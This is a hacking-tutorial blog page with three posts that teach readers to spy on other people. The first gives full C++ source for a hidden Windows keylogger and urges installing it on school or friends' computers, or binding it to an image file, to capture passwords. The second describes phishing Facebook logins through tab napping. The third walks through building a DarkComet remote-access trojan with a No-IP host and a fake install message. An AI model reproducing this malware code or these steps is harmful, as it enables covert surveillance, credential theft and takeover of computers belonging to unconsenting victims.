Pages

Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts

Thursday, 12 December 2013

HOW TO CREATE A KEYLOGGER USING VISUAL C++ ???

                   HOW TO CREATE A KEYLOGGER USING VISUAL C++ ???
                                                         
Hi friends, the most interesting part of the hacking is spying. Today i am going to introduce to the C++ Spyware code. It is going to be very fun. You can install
this spyware in your college/school or in your friend system, and get their username and passwords. This is very simple hacking trick when compared to phishing web page.

Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting. But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++. Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Compile the Code (Ctrl+F9)

Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

Tuesday, 10 December 2013

HACK FACEBOOK ACCOUNT BY TAB NAPPING

                                     HACK FACEBOOK ACCOUNT BY TAB NAPPING 


                                  

Hello friends, in this article i am gonna show you how to Hack Facebook Accounts by Tab Napping Technique.Firstly you should know that Tab Napping is a new form ofphishing that is hitting the internet now. With the conventional form of phishing, for example, you might receive an email that is supposedly from your bank, and it might ask you to login and update or confirm your account details, of course, there would be a link to your banks website in the email for you to click, which would take you to a page that looks identical to your real banks login page.



How does it works

Tab napping is more sophisticated than the phishing scams we’ve seen so far, and it no longer relies on persuading you to click on a dodgy link. Instead it targets internet users who open lots of tabs on their browser at the same time (for example, by pressing
CTRL + T).

if you have multiple tabs open and you are reading the page on your current active tab, any of the other inactive browser tabs could be replaced with a fake web page that is set up to obtain your personal data, the web page will look exactly the same as the page you opened in the tab, you probably wont even even know

it has been replaced with a fake page.
fraudsters can actually detect when a tab has been left inactive for a while, and spy on your browser history to find out which websites you regularly visit, and therefore which pages to fake.


This may surprise you, but phishers and fraudsters in general can actually detect when a tab has been left inactive for a period of time, which means they can spy on your browsing history, this tells them which websites and web pages you visit on a regularly basis, so they'll know which bank you use and which email account you use, whatever you view, they'll know about it, which means they'll know which fake pages to make to replace the real pages in your inactive tabs, you've now left yourself open to become a victim of tab napping.


NOTE: If you don't have any prior knowledge of Phishing or don't have any Fake login page yet, then check this post HOW TO HACK A FACEBOOK ACCOUNT BY PHISHING


Lets start:


1. Create an Ordinary phishing page

First of all, you need to prepare a normal traditional phisher. In this tutorial, I will assume that you already know how to create a phishing page. If you don't know how, then go through my earlier tutorial on how to make a phishing page

2. Install the Script
Download the Tab Napping script by CLICKING HERE
Open the text file containing the script with a text editor like Notepad and search use{ ctrl + f to find}  for the lines below;


http://username.site.com/fakepage.htm


Now in the above script, replace http://username.site.com/fakepage.htm with yourphishing url

Note that 10000 is the default time in milliseconds, that it will take before the victim's idle tab automatically
redirects to your phishing page.

 Therefore you can modify the idle time too..
10000 milliseconds = 10 seconds

After you have edited the script, copy and paste it into the HTML of your site or blogger site.

Thats all. If you are having any problem with this tutorial feel free to comment.

Monday, 9 December 2013

HACK A ACCOUNT USING REMOTE ADMINISTRATION TOOL [RAT]

                        HACK A ACCOUNT USING REMOTE ADMINISTRATION TOOL [RAT]
                                                                                 

A remote administration tool (or RAT) is a program that allows certain persons to connect to
and manage remote computers in the Internet or across a local network. A remote
administration tool is based on the server and client technology. The server part runs on a
controlled computer and receives commands from the client, which is installed on other remote
host. A remote administration tool works in background and hides from the user. The person
who controls it can monitor user’s activity, manage files, install additional software, control the
entire system including any present application or hardware device, modify essential system
settings, turn off or restart a computer



Go on http://www.no-ip.com/, Create your Account and click on "Download".


Now Click on "Windows"

Now Click on "Download 3.0.4"

Now you must install No-DUP 3.0, Click on "Next"


Now, choose "Install Location" and click on "Next"

Now choose "Start Menu Folder" and Click on "Install"

Setup was completed successfully, click on "Close"

Now, go on http://www.no-ip.com/ and click on "Login" then type your Email and your Password.

Now, click on "Add a Host"

Choose a "Hostname", enter your IP address and click on "Create Host".

Done, Now open No-IP DUC 3.0 and enter your email and your password and click on "OK"

Now, Select your "HOST" and click on "Save".

Done, you can close No-IP DUC 3.0

Download DarkComet v4.0 here and run DarkComet.

Click on [+], Choose your port (I advice 1604) and click on "Listen".

Now click on "Settings".

Click on "Mo-IP Updater" and type your No-IP informations.

Now you will edit your server, click on "Edit Server" and click on "Network Settings", enter your

informations and click on "Test network".

Click on "Module Startup" and choose your settings.

Click on "Install Message" and choose your fake message.

Now click on "Module Shield" and choose your settings.

Now click on "Build Module" and click on "Build Server".